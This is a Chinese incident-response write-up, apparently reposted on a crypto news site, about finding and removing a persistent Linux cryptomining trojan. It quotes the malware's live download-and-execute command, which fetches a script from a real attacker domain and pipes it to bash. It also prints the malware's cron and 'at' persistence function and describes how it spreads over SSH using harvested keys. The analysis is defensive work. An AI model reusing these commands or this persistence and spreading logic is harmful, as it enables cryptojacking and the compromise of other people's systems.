首页 > 矿场 > 记一次与挖矿木马的较量
路安  

记一次与挖矿木马的较量

摘要:0x00 概述本文主要是记录了一次针对挖矿程序的应急响应处理,从三个部分来解读此次事件:事件描述部分,确认是否有挖矿程序。现场分析部分,讲了是如何一步一步杀掉挖矿程序。程序分析部分,针对挖矿脚本的详细解读。杀死竞争挖矿程序、进程守护、传播挖矿。0x01 疑惑的用户前几天接到客户反映,他们有一台服务器

0x00 概述

 

本文主要是记录了一次针对挖矿程序的应急响应处理,从三个部分来解读此次事件:

 

 

事件描述部分,确认是否有挖矿程序。

现场分析部分,讲了是如何一步一步杀掉挖矿程序。

程序分析部分,针对挖矿脚本的详细解读。杀死竞争挖矿程序、进程守护、传播挖矿。

 

0x01 疑惑的用户

 

前几天接到客户反映,他们有一台服务器资产存在异常现象,原本配置的crontab定时任务全被修改,用户重新对crontab进行配置,无法起到效果,瞬间就会被自动清空掉,定时任务的异常行为导致原本很多的正常业务无法正常运行,同时还发现存在可疑进程,希望能协助进行问题分析,并尽快进行处置。

 

0x02 受打击的研究员

 

研究人员首先分析crontab的问题,使用crontab -l查看定时任务,发现只存在一个可疑的任务进程,如下图所示。

 

 

从命令看起来是为了获取http://a.oracleservice.top地址的一个xms文件,这个可疑的域名看起来利用了oracleservice来迷惑用户,通过聚铭产品情报云查,发现这个域名有很大问题。

 

 

分别存在:8220miner组织、miner木马病毒、xms、失陷下载的标签。

 


 

与客户确认该定时任务是可疑的之后,又用top查看了系统资源,发现了一个程序名称为“dbused”的可疑进程,长时间的cpu资源占用达到了100以上。

 

 

利用可疑的进程PID,从/proc/[PID]目录下的’exe’文件定位到源文件来自于/tmp目录下的dbused。

 

 

将可疑文件扔到VT进行检测,发现极可能与“CoinMiner”挖矿木马相关。

 


 

看来这次攻击八九不离十就是挖矿木马相关的攻击了,定时程序应该就是用来下载挖矿程序的,只要先把定时程序删除,再删除恶意程序就行了,于是一一删除之,应该就可以交代了。

 

 

想法很美好,现实却很残忍。几秒后,发现恶意进程和定时任务全部恢复了,一朝回到解放前,看来是把问题想得太简单了。

 

0x03 研究员的反击

 

研究员开始痛定思痛,其实在第一次分析的时候还忽略了几个关键的线索:

 

 

用户反映crontab会被自动刷新(说明存在维持进程)

未查看系统可疑进程

未分析下载的内容

 

 

于是乎,ps -ef查看系统进程,发现存在五个以上的恶意下载进程,和之前发现的定时任务一模一样,确实存在多个维持进程。

 

 

curl -fsSL http://a.oracleservice.top/xms||wget -q -O- http://a.oracleservice.top/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://a.oracleservice.top/xms").read()')| bash -sh; lwp-download http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

 


 

突破口都指向下载的可疑文件,下载进行分析,分析发现是一个结合资源准备、同类竞争、进程维持、横向扩散、痕迹清除的脚本。

 


 

Step1:最大化这个进程的使用资源

 


 

1.脚本先将系统的selinux防火墙设置为关闭。

 

 

2.脚本将用户最大可用的进程数调整到5万,便于最大化占用主机资源。

 

 

3.修改内存参数,目的也是最大化占用主机资源。

 

 

Step2:删除竞争进程

 


 

这里目的是为了关闭一些进程,这里的关闭进程的行为,目的是为了杀掉其他的一些挖矿进程,只允许自己的程序挖矿。

 

 

查看列出杀死的连接IP情报,基本都是与挖矿或木马相关。

 


 

Step3:删除文件的特殊属性使得文件可以被修改操作

 


 

chattr命令mod解释

 

 

i:即Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。

 

 

a:即Append Only,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。

 

 

最后将定时任务,进行了类似锁定操作。

 

 

Step4:确保连通性

 

 

先解除/tmp/dbused目录下面的锁定。

 

 

确定本机ip地址的范围(16位掩码)。

 

 

确保主机能与恶意负载域名pool.supportxmr.com、a.oracleservice.top连通。

 


 

Step5:创建定时任务

 


 

一共创建了5个cron维持进程。

 

 

/etc/cron.d/root

/etc/cron.d/apache

/etc/cron.d/nginx

/var/spool/cron/crontabs

/etc/cron.hourly/oanacroner1

 


 

Step6:维持进程1

 

 

即确保dbused这个文件能正常运行。写了几个备用的函数,judge函数就是,如果dbused文件正常运行了,那么就会存在三个连接,如果没有正常运行,那么就重新运行一下dbused文件。

 


 

Step7:维持进程2

 

 

cronbackup()函数为了确保定时任务的正常运行,一旦其中一个定时任务被删除,就会执行另一个定时任务。

 

 

cronbackup() {

 

 

pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"

 

 

status=0

 

 

crona=$(systemctl is-active cron)

 

 

cronb=$(systemctl is-active crond)

 

 

cronatd=$(systemctl is-active atd)

 

 

if [ "$crona" == "active" ] ; then

 

 

echo "cron okay"

 

 

elif [ "$cronb" == "active" ]; then

 

 

echo "cron okay"

 

 

elif [ "$cronatd" == "active" ] ; then

 

 

status=1

 

 

else

 

 

status=2

 

 

fi

 

 

if [ $status -eq 1 ] ; then

 

 

for a in $(at -l|awk '{print $1}'); do at -r $a; done

 

 

echo "$pay" | at -m now + 1 minute

 

 

fi

 

 

if [ $status -eq 2 ] || [ "$me" != "root" ] ;then

 

 

arr[0]="/dev/shm"

 

 

arr[1]="/tmp"

 

 

arr[2]="/var/tmp"

 

 

arr[3]="/home/$(whoami)"

 

 

arr[4]="/run/user/$(echo $UID)"

 

 

arr[5]="/run/user/$(echo $UID)/systemd"

 

 

rand=$[$RANDOM % ${#arr[@]}]

 

 

echo "Setting up custom backup"

 

 

ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9

 

 

key="while true; do sleep 60 && $pay; done"

 

 

echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner

 

 

nohup ${arr[$rand]}/cruner >/dev/null 2>&1 &

 

 

sleep 15

 

 

rm -rf ${arr[$rand]}/cruner

 

 

fi

 

 

}

 

 

Step8:横向传播

 

 

从系统文件中获取ssh连接过的IP地址和连接的密钥,再通过遍历尝试ssh连接到别的主机并执行恶意命令。也就是说主机登录过其他主机的话,那么其他主机也会被注入,细思极恐。

 

 

ssh连接用到的几个配置

 

 

-oStrictHostKeyChecking=no (关闭SSH公钥检查,这是ssh一个重要的安全机制,可以防范中间人劫持等黑客攻击。)

-oBatchMode=yes(当 key 认证不成功时,不弹出告警防止自动化中断)

-oConnectTimeout=5(超时限制)

-i(使用密钥文件登录)

 


 

Step9:痕迹清除

 

 

对执行过程中遗留的文件进行清除,减小被发现的风险。

 


 

了解清楚这个恶意脚本后,便开始对该恶意程序进行处置:

 

 

先’service crond status’关闭cron服务。

对所有cron定时文件进行清除。

杀死所有恶意进程。

删除所有下载的相关恶意文件。

启动selinux。

修改本机和可能被感染主机的ssh密码。

对可能感染的主机进行检查。

 

 

采取了以上的操作之后,挖矿程序终于不再“复活”了,crontab也恢复正常使用。

 

 

参考文章:

 

 

《linux文件特殊属性 lsattr,chattr详解》https://blog.csdn.net/sugarCYF/article/details/108034987

 

 

《SSH交互式脚本StrictHostKeyChecking选项》https://chuxing.blog.csdn.net/article/details/82425279

 

免责声明
世链财经作为开放的信息发布平台,所有资讯仅代表作者个人观点,与世链财经无关。如文章、图片、音频或视频出现侵权、违规及其他不当言论,请提供相关材料,发送到:2785592653@qq.com。
风险提示:本站所提供的资讯不代表任何投资暗示。投资有风险,入市须谨慎。
世链粉丝群:提供最新热点新闻,空投糖果、红包等福利,微信:juu3644。